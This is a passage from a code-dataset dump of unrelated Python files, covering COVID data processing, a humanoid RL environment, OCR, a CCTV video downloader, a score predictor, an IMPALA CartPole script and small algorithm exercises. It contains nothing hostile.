Array/mountain.py","file_name":"mountain.py","file_ext":"py","file_size_in_byte":553,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"103936721","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Apr 22 10:37:39 2020\n\n@author: benja\n\"\"\"\n\nimport pandas as pd\nimport requests\nimport json\nimport numpy as np\nimport os\nimport matplotlib.pyplot as plt\nfrom scipy.stats import linregress\n\n#define state_abbrvs\nwith open(os.path.join('data', 'state_abbrvs.txt')) as f:\n state_abbrvs=json.loads(f.read())\n\n#define state_fips \nwith open(os.path.join('data', 'state_fips.txt')) as f:\n state_fips=json.loads(f.read())\n\n\n \ndef abbrv_to_fips(abbrv):\n 'Give a state abbreviation.''' \n return state_fips[state_abbrvs[abbrv]]\n\ndef NYT_fixes(df):\n '''Fix NYTimes dataset for two issues.\n NYC and Kansas City'''\n #fix issue with New York City: assign County Fips of 999 to whole city\n df['fips']=np.where((df['county']==\"New York City\"), 36999, df['fips']) \n #fix issue with Kansas City assign County Fips of 999 to whole city\n df['fips']=np.where((df['county']==\"Kansas City\"), 29999, df['fips']) #fix issue with Kansas City\n df.dropna(subset=['fips'], inplace=True)\n df['fips']=df['fips'].astype(int)\n return df\n\ndef load_NYTCOVID():\n '''Load current county data from NYT covid as dataframe'''\n return NYT_fixes(pd.read_csv('https://github.com/nytimes/covid-19-data/raw/master/us-counties.csv'))\n\n\ndef retrieve_covidTracker():\n '''Load current state-level data from Covid-Tracker Website and return as dataframe'''\n response=requests.get('https://covidtracking.com/api/states/daily')\n return pd.DataFrame(json.loads(response.text))\n\n\n\ndef censusfixes(df):\n '''Make fixes to census data to fit with anamolies in NYT data.'''\n \n nyboroughs=df[df['county_fips'].isin([36005, 36047, 36061, 36081, 36085])]\n nycpop=nyboroughs['POP'].sum()\n nyc_density=((nyboroughs['POP']*nyboroughs['DENSITY']).sum())/nycpop\n df=df.append({'state': 36, \n 'county':999, \n 'county_fips': 36999, \n \"DENSITY\":nyc_density, \n 'POP': nycpop}, \n ignore_index=True)\n #create separate county for kansas city\n df=df.append({'state': 29, \n 'county':999, \n 'county_fips': 29999,\n \"DENSITY\": 1400, #est from wikipedia\n 'POP': 491918 }, #est from wikipedia\n ignore_index=True)\n return df\n \n\n\n\ndef loadCensus():\n '''Load and format census data for: Population and population density from Census.\n Return as a dataframe'''\n response=requests.get('https://api.census.gov/data/2019/pep/population?get=DENSITY&POP&for=county:*')\n data=json.loads(response.text)\n df= pd.DataFrame(data[1:], columns=data[0])\n df['county_fips']=(df['state']+df['county']).astype(int) #make combined county fips code\n df['POP']=df['POP'].astype(int)\n df.dropna(subset=['DENSITY'])\n df[\"DENSITY\"]=df[\"DENSITY\"].astype(float)\n return censusfixes(df)\n\ncountyPops = loadCensus() \n\n\n \n\ndef getMostCurrentRecords(df, datecol, geo_col):\n '''Make a dataFrame of most current records for each geography \n Input df: dataframe\n datecol: name of column with dates.\n geo_col: column with geography names'''\n newDF=pd.DataFrame()\n for name in df[geo_col].unique():\n subset=df[df[geo_col]==name]\n newDF=newDF.append(\n subset[subset[datecol]==subset[datecol].max()])\n return newDF\n\n \n\ndef makeCountyDF():\n '''Get data from NYT covid and from census. \n Merge Data Together\n Add per capita columns.'''\n countyCOVID=load_NYTCOVID()\n df=countyPops.merge(countyCOVID, left_on='county_fips', right_on='fips', how='left')\n df['date']=pd.to_datetime(df['date'])\n df=df.rename(columns={'POP': 'population'})\n df['cases_per_cap']=df['cases']/df['population']\n df['deaths_per_cap']=df['deaths']/df['population']\n return df\n\n\n\ndef fill_blank_dates_counties(df):\n '''Fill in dates where county is not present with 0s \n for cases and deaths in absolute and per-capita terms.'''\n counties=df['fips'].unique()\n to_add=[]\n for county in counties:\n county_data={column: df[df['fips']==county][column].min() for column in \n ['population', 'county_x', 'state_x', 'fips', 'county_y', 'state_y']}\n for date in df['date'].unique():\n that_date=df[df['date']==date]\n if county not in that_date['fips'].unique():\n to_add.append({**county_data, **{'deaths':0, 'cases':0, 'date': date, \n 'cases_per_cap':0, 'deaths_per_cap':0}})\n df=df.append(to_add)\n return df\n\ndef logTransform(df,xcol, ycol):\n '''Drop 0 values and return x and y log transformed.'''\n non_0=df[(df[xcol]>0) & (df[ycol]>0)].dropna()\n return np.log(non_0[xcol]), np.log(non_0[ycol])\n\n\ndef plot(df, x, y, loglog=False):\n '''Plot x and y from a dataframe, excluding any 0 or NA values.\n Plot a trendline, print its slope and r_value. \n Return slope and intercept.\n If loglog=True, plot log(x) log(y)'''\n \n if loglog:\n x, y=logTransform(df, x,y)\n else:\n df=df[(df[x]>0) & (df[y]>0)].dropna()\n x=df[x]\n y=df[y]\n \n slope, intercept, r_value, p_value, std_err=linregress(x,y)\n print(slope, r_value)\n plt.scatter(x, y)\n plt.plot(x, x*slope+intercept, '-k')\n return slope, intercept\n\n\n\n\ndef prepCBSAs(cbsa_df):\n def primary_code(row):\n '''Assign PSA code to a row in the df'''\n if not (str(row['CSA Code'])=='nan') or str(row['CSA Code'])=='':\n return row['CSA Code']\n else:\n return row['CBSA Code']\n \n def primary_name(row):\n '''Assign PSA Name to a row in the df'''\n if not (str(row['CSA Title'])=='nan') or str(row['CSA Title'])=='':\n return row['CSA Title']\n else:\n return row['CBSA Title']\n \n \n \n cbsa_df=cbsa_df.dropna(subset=['FIPS State Code'])\n cbsa_df['full_fips']=(cbsa_df['FIPS County Code']+cbsa_df['FIPS State Code']*1000).astype(int)\n \n #correction for NYC data: In NYT county Data, all boroughs merged into\n #one county called \"New York City\"\n cbsa_df=cbsa_df.append({'CBSA Code': 35620, \n 'Metropolitan/Micropolitan Statistical Area': 'Metropolitan Statistical Area',\n 'full_fips':36999, \n 'Central/Outlying County': 'Central', \n 'CBSA Title': 'New York-Newark-Jersey City, NY-NJ-PA',\n 'CSA Title': 'New York-Newark, NY-NJ-CT-PA',\n 'CSA Code': 408}, ignore_index=True)\n \n #correction for KC data: all cases/deaths in any County in Kansas City MO\n #Are recorded as occuring in \"Kansas City\"\n #But all of these counties have areas outside of KC\n cbsa_df=cbsa_df.append({'CBSA Code': 28140, \n 'Metropolitan/Micropolitan Statistical Area': 'Metropolitan Statistical Area',\n 'full_fips':20999, \n 'Central/Outlying County': 'Central', \n 'CBSA Title': 'Kansas City, MO-KS',\n 'CSA Title': 'Kansas City-Overland Park-Kansas City, MO-KS',\n 'CSA Code':312\n }, ignore_index=True\n )\n \n #assign PSA codes and titles\n cbsa_df['PSA Code']=cbsa_df.apply(primary_code, axis=1)\n cbsa_df['PSA Title']=cbsa_df.apply(primary_name, axis=1)\n return cbsa_df\n\n\ndef df_by_CBSA(county_df, kind='CBSA'):\n '''Make a dataframe that has data organized by Census Bureau Statistical Areas.\n Pass the dataframe that has the county data.\n For kind: pass CBSA, CSA or PSA. \n CBSA: Aggregate by core-based statistical area (Metropolitan or Micropolitan)\n CSA: Aggregate by Combined Statistical Area.\n PSA: Aggregate by Primary statistical Area: CSA if applicable, CBSA if not.\n ''' \n \n groupby_column=f'{kind} Title'\n \n df=pd.read_csv(os.path.join('data', 'metro_areas.csv'), encoding='latin-1')\n df=prepCBSAs(df)\n \n area_pops=df.merge(countyPops, left_on='full_fips', right_on='county_fips', how='left')\n area_pops=area_pops[area_pops['full_fips'].isin([36999, 20999])==False]\n area_pops=area_pops.groupby([groupby_column])['POP'].sum().reset_index()\n \n \n \n \n county_df=county_df.merge(df, left_on='fips', right_on='full_fips', how='outer')\n \n #make dataframe with area totals by date\n groups=county_df.groupby([groupby_column, 'date'])\n gdf=pd.DataFrame([ groups['cases'].sum(), groups['deaths'].sum()]).T\n gdf=gdf.reset_index()\n gdf=gdf.merge(area_pops, right_on=groupby_column, left_on=groupby_column, how='outer')\n gdf=gdf.rename(columns={'POP': 'population'})\n gdf['cases per thousand']=gdf['cases']/gdf['population']*1000\n \n \n return gdf\n\nif __name__=='__main__':\n df=makeCountyDF()\n df.to_csv(os.path.join('data', 'covid_by_county.csv'))\n CBSA_df=df_by_CBSA(df)\n CBSA_df.to_csv(os.path.join('data', 'covid_by_CBSA.csv'))","sub_path":"data_mgmt.py","file_name":"data_mgmt.py","file_ext":"py","file_size_in_byte":8959,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"615656582","text":"import numpy as np\n\nfrom gym.envs.mujoco import HumanoidEnv as HumanoidEnv\n\ndef mass_center(model, sim):\n mass = np.expand_dims(model.body_mass, 1)\n xpos = sim.data.xipos\n return (np.sum(mass * xpos, 0) / np.sum(mass))\n\n\nclass HumanoidGoalEnvNDone(HumanoidEnv):\n\n def __init__(self, goal=None):\n if goal is None:\n goal = np.zeros(2)\n self._goal = goal\n super(HumanoidGoalEnvNDone, self).__init__()\n\n def step(self, action):\n self.do_simulation(action, self.frame_skip)\n pos_after = mass_center(self.model, self.sim)[:2]\n\n goal_reward = -np.sum(np.abs(pos_after - self._goal))\n\n data = self.sim.data\n \n quad_ctrl_cost = 0.1 * np.square(data.ctrl).sum()\n quad_impact_cost = .5e-6 * np.square(data.cfrc_ext).sum()\n quad_impact_cost = min(quad_impact_cost, 10)\n reward = goal_reward - quad_ctrl_cost - quad_impact_cost\n done = False\n\n return self._get_obs(), reward, done, dict(goal_reward=goal_reward,\n reward_quadctrl=-quad_ctrl_cost,\n reward_impact=-quad_impact_cost,\n achieved=pos_after)\n\n def _get_obs(self):\n data = self.sim.data\n return np.concatenate([data.qpos.flat,\n data.qvel.flat,\n data.cinert.flat,\n data.cvel.flat,\n data.qfrc_actuator.flat,\n data.cfrc_ext.flat])\n\n def set_goal(self, goal):\n self._goal = goal\n self.reset()\n","sub_path":"no_transition_relabelling/env/humanoid_goal_ndone.py","file_name":"humanoid_goal_ndone.py","file_ext":"py","file_size_in_byte":1692,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"221366399","text":"#2019.07.23\n#https://programmers.co.kr/learn/courses/30/lessons/42888\n\n\ndef solution(record):\n user_dict = {}\n for msg in record:\n cur_msg = msg.split(\" \")\n if cur_msg[0] == \"Enter\" or cur_msg[0] == \"Change\":\n user_dict[cur_msg[1]] = cur_msg[2]\n \n answer = []\n for msg in record:\n cur_msg = msg.split(\" \")\n if cur_msg[0] == \"Enter\":\n answer.append(user_dict[cur_msg[1]]+\"님이 들어왔습니다.\")\n if cur_msg[0] == \"Leave\":\n answer.append(user_dict[cur_msg[1]]+\"님이 나갔습니다.\")\n \n return answer","sub_path":"Algorithm/OpenChatRoom.py","file_name":"OpenChatRoom.py","file_ext":"py","file_size_in_byte":600,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"496590529","text":"import requests\nimport datetime\nimport os\nimport schedule\nimport time\n\n\ndef download_file(cctv, min_back,unix_timestamp):\n ###Create directory if !exist\n print(datetime.datetime.now())\n directory= \"new_videos\"\n if not os.path.exists(directory):\n os.makedirs(directory)\n\n for vid in cctv:\n \n ###get unix time\n current_time = datetime.datetime.now(datetime.timezone.utc)\n \n sec=min_back * 60 # e.g. 5 min * 60 seconds\n unix_time = int(unix_timestamp - (sec))\n u_time= str(unix_time) + \"-\" + str(sec) + \".mp4\"\n \n url= vid + \"/archive-\" + u_time \n\n ###download video\n local_filename =\"new_videos/\" + vid.split(\".co.id/\")[1] + \"-\" + u_time \n \n r = requests.get(url, stream=True)\n \n with open(local_filename, 'wb') as f:\n for chunk in r.iter_content(chunk_size=1024): \n if chunk: # filter out keep-alive new chunks\n f.write(chunk)\n \n return datetime.datetime.now()\n\ndef job():\n ###func takes in list and duration of video in minutes\n current_time = datetime.datetime.now(datetime.timezone.utc)\n unix_timestamp = current_time.timestamp()\n print(download_file(cctv,5,unix_timestamp)) \n \n\t\n \n####list of all cameras\ncctv= [\"http://\", \"http://\", \"http://\", \"http://\", \"http://\", \"http://\", \"http://\"]\n\nschedule.every(5).minutes.do(job)\n\nwhile 1:\n schedule.run_pending()\n time.sleep(1)\n","sub_path":"scratch/scripts/vid_downloader_our_cams.py","file_name":"vid_downloader_our_cams.py","file_ext":"py","file_size_in_byte":1492,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"566551226","text":"import pytesseract\r\nimport os\r\nimport filetype\r\nimport fitz\r\n\r\nclass OCR:\r\n def __init__(self):\r\n self.custom_config = r'--oem 3 --psm 6'\r\n\r\n def readimage(self,address):\r\n kind = filetype.guess(address)\r\n if(kind.extension == 'pdf'):\r\n imageAddress = \"image\"\r\n self.pdf_image(address,imageAddress,5,5,0)\r\n s = pytesseract.image_to_string(imageAddress+\".png\", config=self.custom_config)\r\n os.remove(imageAddress+\".png\")\r\n else:\r\n s = pytesseract.image_to_string(address, config=self.custom_config)\r\n\r\n return s\r\n\r\n def pdf_image(self,pdfPath,imgPath,zoom_x,zoom_y,rotation_angle):\r\n pdf = fitz.open(pdfPath)\r\n for pg in range(0, pdf.pageCount):\r\n page = pdf[pg]\r\n trans = fitz.Matrix(zoom_x, zoom_y).preRotate(rotation_angle)\r\n pm = page.getPixmap(matrix=trans, alpha=False)\r\n pm.writePNG(imgPath+\".png\")\r\n pdf.close()\r\n\r\n\r\n\r\n# Adding custom options\r\n\r\nif __name__ == \"__main__\":\r\n cc = OCR()\r\n print(cc.readimage(\"cvexample2.pdf\"))\r\n\r\n","sub_path":"AvanadeIHP/Algorithm/ocr.py","file_name":"ocr.py","file_ext":"py","file_size_in_byte":1106,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"18879863","text":"# -*- coding: utf-8 -*-\nimport simplejson as json\nimport string\nimport argparse\nimport scorefetch\nimport time\n\nclass Predictor(object):\n\tdef __init__(self):\n\t self.last = 0\n\t self.data = []\t\t\n\t self.eventData = json.loads(scorefetch.getScore())\n\t self.bad = [27]\t\t\n\t\t\n\n\tdef daychange(self, scorearray, olddays, days, type):\n\t\tresult = scorearray\n\t\tdeltaarray = [scorearray[i]-scorearray[i-2] for i in range(2,len(scorearray)-5)]\n\t\tdelta2array = [deltaarray[i]-deltaarray[i-1] for i in range(1,len(deltaarray))]\n\t\tmindelta2 = 100000\n\t\tminpos = 0\n\t\ttypebase = 4\n\t\tif type == 'classic':\n\t\t\ttypebase = 10\n\t\tfor i in range(4, len(delta2array)-typebase):\n\t\t\tdelta2 = int(1.5*abs(delta2array[i]))+abs(delta2array[i+1])+int(0.5*abs(delta2array[i+2]))\n\t\t\tif delta2 < mindelta2:\n\t\t\t\tminpos = i\n\t\t\t\tmindelta2 = delta2\n\t\t#print olddays, days,len(scorearray),len(deltaarray),len(delta2array)\n\t\toffset = deltaarray[minpos+1]\n\t\tif days == olddays+1:\n\t\t\tresult.insert(minpos+4, scorearray[minpos+2]+offset)\n\t\t\tresult.insert(minpos+5, scorearray[minpos+3]+offset)\n\t\t\tfor i in range(minpos+6, len(result)):\n\t\t\t\tresult[i] += offset\n\t\telif days == olddays-1:\n\t\t\tdel result[minpos+3]\n\t\t\tdel result[minpos+3]\n\t\t\tfor i in range(minpos+3, len(result)):\n\t\t\t\tresult[i] -= offset\n\t\treturn result\n\n\tdef calcusimilarity(self, eventid1, eventid2, pos):\n\t\t#print eventid1,eventid2,pos\n\t\tdistance = [1,1]\n\t\t#eventid1n = string.atoi(eventid1)\n\t\t#eventid2n = string.atoi(eventid2)\n\t\tfor i in range(0,pos+1):\n\t\t\t#print i,self.eventData[str(eventid1)]['score'][0][i],self.eventData[str(eventid2)]['score'][0][i]\n\t\t\tdistance[0] = 0.8*distance[0]+1.2**abs(eventid1-eventid2)*abs(self.eventData[str(eventid1)]['score'][0][i]-self.eventData[str(eventid2)]['score'][0][i])**2\n\t\t\tdistance[1] = 0.8*distance[1]+1.2**abs(eventid1-eventid2)*abs(self.eventData[str(eventid1)]['score'][1][i]-self.eventData[str(eventid2)]['score'][1][i])**2\n\t\treturn [1.0/(distance[0]/10000000.0),1.0/(distance[1]/10000000.0)]\n\n\tdef predict(self, eventid, pos, change):\n\t\tpredictevent = self.eventData[str(eventid)]\n\t\ttotalweight = [0,0]\n\t\ttotalpredict = [0,0]\n\t\t#print predictevent\n\t\tcurrent = [predictevent['score'][0][pos],predictevent['score'][1][pos]]\n\t\tif pos > 1:\n\t\t\tcurrentdelta = [current[0]-predictevent['score'][0][pos-2],current[1]-predictevent['score'][1][pos-2]]\n\t\telse:\n\t\t\tcurrentdelta = [1,1]\n\t\tfor index in self.eventData:\n\t\t\tif string.atoi(index) in self.bad:\n\t\t\t\tcontinue\n\t\t\tevent = self.eventData[index]\n\t\t\tif event['id'] < eventid and abs(event['days']-predictevent['days']) <= 1 \\\n\t\t\tand event['type'] == predictevent['type']:\n\t\t\t\tif abs(event['days']-predictevent['days']) == 1 and change:\n\t\t\t\t\tevent['score'][0] = self.daychange(event['score'][0],event['days'],predictevent['days'],predictevent['type'])\n\t\t\t\t\tevent['score'][1] = self.daychange(event['score'][1],event['days'],predictevent['days'],predictevent['type'])\n\t\t\t\tevent['predict'] = [0]*2\n\t\t\t\tif False:\n\t\t\t\t\tevent['weight'] = [1.0, 1.0]\n\t\t\t\telse:\n\t\t\t\t\tevent['weight'] = self.calcusimilarity(eventid,string.atoi(index),pos)#[1.0,1.0]\n\t\t\t\t\tevent['weight'][0] *= 0.8**abs(eventid-event['id'])\n\t\t\t\t\tevent['weight'][1] *= 0.8**abs(eventid-event['id'])\n\t\t\t\t\tif abs(event['days']-predictevent['days']) == 1:\n\t\t\t\t\t\tevent['weight'][0] *= 0.2\n\t\t\t\t\t\tevent['weight'][1] *= 0.2\n\t\t\t\t\n\t\t\t\tif pos >1 and False:\n\t\t\t\t\tdelta0 = event['score'][0][pos]-event['score'][0][pos-2]\n\t\t\t\t\tdelta1 = event['score'][1][pos]-event['score'][1][pos-2]\n\t\t\t\t\tevent['predict'][0] = current[0]+int(1.0*(event['score'][0][-1]-event['score'][0][pos])*currentdelta[0]/delta0)\n\t\t\t\t\tevent['predict'][1] = current[1]+int(1.0*(event['score'][1][-1]-event['score'][1][pos])*currentdelta[1]/delta1)\n\t\t\t\telse:\n\t\t\t\t\tevent['predict'][0] = int(1.0*event['score'][0][-1]*(1.0*current[0]/event['score'][0][pos]))\n\t\t\t\t\t#print event['score'][0], predictevent['score'][0]\n\t\t\t\t\tevent['predict'][1] = int(1.0*event['score'][1][-1]*(1.0*current[1]/event['score'][1][pos]))\n\t\t\t\ttotalpredict[0] += event['weight'][0]*event['predict'][0]\n\t\t\t\ttotalpredict[1] += event['weight'][1]*event['predict'][1]\n\t\t\t\ttotalweight[0] += event['weight'][0]\n\t\t\t\ttotalweight[1] += event['weight'][1]\n\t\t\t\t# if not args.all or pos == len(self.eventData[args.eventid]['score'][0])-1:\n\t\t\t\t\t# print event['id'], event['character'],event['predict'], event['weight']\n\t\t# print int(totalpredict[0]/totalweight[0]), int(totalpredict[1]/totalweight[1])\n\t\tnotchange = False\n\t\treturn [int(totalpredict[0]/totalweight[0]), int(totalpredict[1]/totalweight[1])]\n\n\tdef getPredict(self): \n\t\tif(time.time() - self.last >= 6000):\n\t\t\tf = open(\"predict.json\", \"r\")\n\t\t\tconf = json.loads(f.read())\n\t\t\teventid = conf['eventid']\n\t\t\tdata = []\n\t\t\tchange = True\n\t\t\tif True:\n\t\t\t\tfor i in range(0, len(self.eventData[eventid]['score'][0])):\n\t\t\t\t\tdata = self.predict(string.atoi(eventid), i, change)\n\t\t\t\t\tchange = False\n\t\t\tself.time = time.time()\n\t\t\tself.obj = data\n\t\treturn self.obj\n","sub_path":"Moto/prediction.py","file_name":"prediction.py","file_ext":"py","file_size_in_byte":4908,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"385517162","text":"# Copyright 2018/2019 The RLgraph authors. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# ==============================================================================\n\n\"\"\"\nExample script for training a single-node IMPALA [1] agent on an OpenAI gym environment.\nA single-node agent uses multi-threading (via tf's queue runners) to collect experiences (using\nthe \"mu\"-policy) and a learner (main) thread to update the model (the \"pi\"-policy).\n\nTODO: More examples for non-single node setup.\n\nUsage:\n\npython impala_cartpole.py [--config configs/impala_cartpole.json] [--env CartPole-v0]?\n\n[1] IMPALA: Scalable Distributed Deep-RL with Importance Weighted Actor-Learner Architectures - Espeholt, Soyer,\n Munos et al. - 2018 (https://arxiv.org/abs/1802.01561)\n\"\"\"\n\nimport json\nimport os\nimport sys\n\nfrom absl import flags\nimport numpy as np\nimport time\n\nfrom rlgraph.agents import Agent\nfrom rlgraph.environments import OpenAIGymEnv\n\n\nFLAGS = flags.FLAGS\n\nflags.DEFINE_string('config', './configs/impala_cartpole.json', 'Agent config file.')\nflags.DEFINE_string('env', None, 'openAI gym environment ID.')\nflags.DEFINE_bool('visualize', False, 'Show worker episodes.')\n\n\ndef main(argv):\n try:\n FLAGS(argv)\n except flags.Error as e:\n print('%s\\\\nUsage: %s ARGS\\\\n%s' % (e, sys.argv[0], FLAGS))\n\n agent_config_path = os.path.join(os.getcwd(), FLAGS.config)\n with open(agent_config_path, 'rt') as fp:\n agent_config = json.load(fp)\n\n if FLAGS.env is None:\n env_spec = agent_config[\"environment_spec\"]\n else:\n env_spec = dict(gym_env=FLAGS.env)\n if FLAGS.visualize is not None:\n env_spec[\"visualize\"] = FLAGS.visualize\n dummy_env = OpenAIGymEnv.from_spec(env_spec)\n agent = Agent.from_spec(\n agent_config,\n state_space=dummy_env.state_space,\n action_space=dummy_env.action_space\n )\n dummy_env.terminate()\n\n learn_updates = 100\n mean_returns = []\n for i in range(learn_updates):\n ret = agent.update()\n mean_return = _calc_mean_return(ret)\n mean_returns.append(mean_return)\n print(\"Iteration={} Loss={:.4f} Avg-reward={:.2f}\".format(i, float(ret[1]), mean_return))\n\n print(\"Mean return: {:.2f} / over the last 10 episodes: {:.2f}\".format(\n np.nanmean(mean_returns), np.nanmean(mean_returns[-10:])\n ))\n\n time.sleep(1)\n agent.terminate()\n time.sleep(1)\n\n\ndef _calc_mean_return(records):\n size = records[3][\"rewards\"].size\n rewards = records[3][\"rewards\"].reshape((size,))\n terminals = records[3][\"terminals\"].reshape((size,))\n returns = list()\n return_ = 0.0\n for r, t in zip(rewards, terminals):\n return_ += r\n if t:\n returns.append(return_)\n return_ = 0.0\n\n return np.nanmean(returns)\n\n\nif __name__ == '__main__':\n main(sys.argv)\n","sub_path":"examples/impala_cartpole.py","file_name":"impala_cartpole.py","file_ext":"py","file_size_in_byte":3359,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"433618621","text":"# 회의실 배정 문제\ndef solve(n,data):\n data = sorted(data, key = lambda x: (x[1],x[0]))\n count = 1\n end = data[0][1]\n for i in data[1:]:\n if i[0] >= end:\n count += 1\n end = i[1]\n return count\nn = int(input())\ndata = [list(map(int,input().split())) for _ in range(n)]\nprint(solve(n,data))","sub_path":"sujang/boj/python/1931.py","file_name":"1931.py","file_ext":"py","file_size_in_byte":338,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"462593186","text":"#!/usr/bin/python\n\n\n###The command at the top means that this python function can###\n###be run directly from the comman line###\n###You will also need to do chmod -u linearAdvect in unix or linux\n\nfrom __future__ import absolute_import , division , print_function\n\n###The sys module provides access to operating system commands and###\n##access to command line variables ###\nimport sys\n\n#read in all the linear advection schemes, initial conditions and a\n#code associared with this application\n\nfrom grid import *\nfrom initialConditions import *\nfrom advectionSchemes import *\nfrom diagnostics import *\nimport matplotlib.pyplot as plt\n\n\n###The main code is inside a function to avoid global variables\n###The arguments (argv) give access to the command line arguments\n\ndef main( argv ):\n ### Test the command lne argument and from these set the ###\n ###name of the input file\n if len( sys.argv ) !=2 :\n print( 'usage: linearAdvect ' )\n sys.exit(2)\n inputFile = sys.argv[1]\n print('Reading input from file ', inputFile )\n\n #Define input variables from the input file and stoe in the dictionary \n #inputs\n inputs={}\n execfile( inputFile, inputs)\n\n print('Advecting the profile ...')\n\n ###Declare an instance of the grid class called grid which###\n ### defines the grid for these simulations. Tus grid.dx and ###\n ### grid.x will automaticlly be defined\n grid = Grid( inputs['nx'], inputs['xmin'], inputs['xmax'] )\n #other input variables:\n c=inputs['c'] #Courant number for the advection\n d = inputs['d'] \n K1 = inputs['K1'] #first diffusion coefficient\n K2 = inputs['K2'] #second diffusion coefficent\n nt = inputs['nt'] # Total number of time steps to run\n \n \n #Select which initial conditions to use (from initialConditions.py )\n initialConditions = eval( inputs['initialConditions'] )\n \n \n \n #Now need to find out what dx and dt are in order to caclulate thingy: \n\n #initialise dependent variable\n\n phiOld = initialConditions( grid.x )\n \n #phiOld = JustASin( grid.x ) \n \n \n #Exact solution is the initial condition shifted around the domain \n phiExact = initialConditions((grid.x - c*nt*grid.dx)%grid.length)\n\n Phi_No_Diffusion = initialConditions( grid.x )\n \n \n Ttotal = nt\n \n #Create arrays to store the error norms and the standard deviations for each of the three schemes:\n \n L2_Norms1 = np.zeros(Ttotal) \n L_INF1 = np.zeros(Ttotal)\n Standard_Dev1 = np.zeros(Ttotal)\n \n L2_Norms2 = np.zeros(Ttotal) \n L_INF2 = np.zeros(Ttotal)\n Standard_Dev2 = np.zeros(Ttotal)\n \n L2_Norms3 = np.zeros(Ttotal) \n L_INF3 = np.zeros(Ttotal)\n Standard_Dev3 = np.zeros(Ttotal)\n \n \n #At each time step return the error norm for the given scheme:\n \n \n L2_Norms1 = Three_Scheme(phiOld, c, d, nt,grid)\n \n #(Phi_No_Diffusion,L2_Norms1,LINF) = CTCS( phiOld.copy(), c , nt, grid )\n \n \n #Phi_CTCS_diff1 = CTCS_Diff1( phiOld.copy(), c , 0.06, nt,grid )\n\n \n plotFinal( grid.x, [phiExact, Phi_No_Diffusion] ,\n ['Exact Solution', 'CTCS' ] , \"Plot_no_Diffusion\",L2_Norms1,L_INF1,Standard_Dev1)\n \n\n\n\n\n\n\n\n \n\n\n###Run the functtion main defined in this file with one argument:\nif __name__ == \"__main__\":\n main( sys.argv[1:])\n\n\n \n","sub_path":"Assign3_2/linearAdvect.py","file_name":"linearAdvect.py","file_ext":"py","file_size_in_byte":3352,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"336544224","text":"def encode(message):\r\n\tmessage = list(message)\r\n\trun = 1\r\n\tnew = []\r\n\tif len(message) == 1:\r\n\t\tnew.append(str(run))\r\n\t\tnew.append(message[0])\r\n\tfor i in range(1, len(message)):\r\n\t\tif message[i] == message[i - 1]:\r\n\t\t\trun = run + 1\r\n\t\telse:\r\n\t\t\tnew.append(str(run))\r\n\t\t\tnew.append(message[i - 1])\r\n\t\t\trun = 1\r\n\t\tif i == len(message) - 1:\r\n\t\t\tnew.append(str(run))\r\n\t\t\tnew.append(message[i])\r\n\tnew = \"\".join(new)\r\n\treturn new\r\n\r\n\r\nencoded_message = encode(\"mmm\")\r\nprint(encoded_message)\r\n","sub_path":"encoding_msg.py","file_name":"encoding_msg.py","file_ext":"py","file_size_in_byte":485,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"574499296","text":"import pyglet\n\nfrom engine.level.Level import Level\n\n\nclass TileLevelRenderer:\n def __init__(self, game):\n self.game = game\n self.current_level = Level()\n self.tilesize = 16\n\n self.image = None\n\n def prepare_level(self, level):\n self.current_level = level\n self.image = pyglet.image.Texture.create(width=(self.current_level.width*self.tilesize), height=(self.current_level.height*self.tilesize))\n for tx in range(self.current_level.width):\n for ty in range(self.current_level.height):\n x = tx * self.tilesize\n y = ty * self.tilesize\n tile = self.current_level.get_tile(tx, ty)\n if tile is not None:\n t = self.game.asset_manager.get(tile.image)\n self.image.blit_into(t, x, y, 0)\n\n # for col in tile.collisions:\n # if isinstance(col, Rect):\n # self.image.blit_into(self.game.asset_manager.missing_texture, x, y, 0)\n # def prepare_level(self, level):\n # if isinstance(level, TileLevel):\n # self.current_level = level\n #\n # self.level_surf = pygame.Surface((level.width * self.tilesize, level.height * self.tilesize), pygame.SRCALPHA)\n #\n # for tx in range(self.current_level.width):\n # for ty in range(self.current_level.height):\n # x = tx * self.tilesize\n # y = ty * self.tilesize\n #\n # tile = self.current_level.get_tile(tx, ty)\n # if tile is not None:\n # self.level_surf.blit(self.game.asset_manager.get(tile.image), (x, y))\n #\n def render(self, vp):\n return self.image.get_region(vp[0], vp[1],vp[2], vp[3])\n","sub_path":"engine/level/TileLevelRenderer.py","file_name":"TileLevelRenderer.py","file_ext":"py","file_size_in_byte":1820,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"32113108","text":"#-*-coding:utf-8-*- \n# Given an array of integers with possible duplicates, randomly output the\n# index of a given target number. You can assume that the given target number\n# must exist in the array.\n#\n# Note:\n# The array size can be very large. Solution that uses too much extra space\n# will not pass the judge.\n#\n# Example:\n#\n# int[] nums = new int[] {1,2,3,3,3};\n# Solution solution = new Solution(nums);\n#\n# // pick(3) should return either index 2, 3, or 4 randomly. Each index\n# should have equal probability of returning.\n# solution.pick(3);\n#\n# // pick(1) should return 0. Since in the array only nums[0] is equal to 1.\n# solution.pick(1);\n\nimport random\nfrom 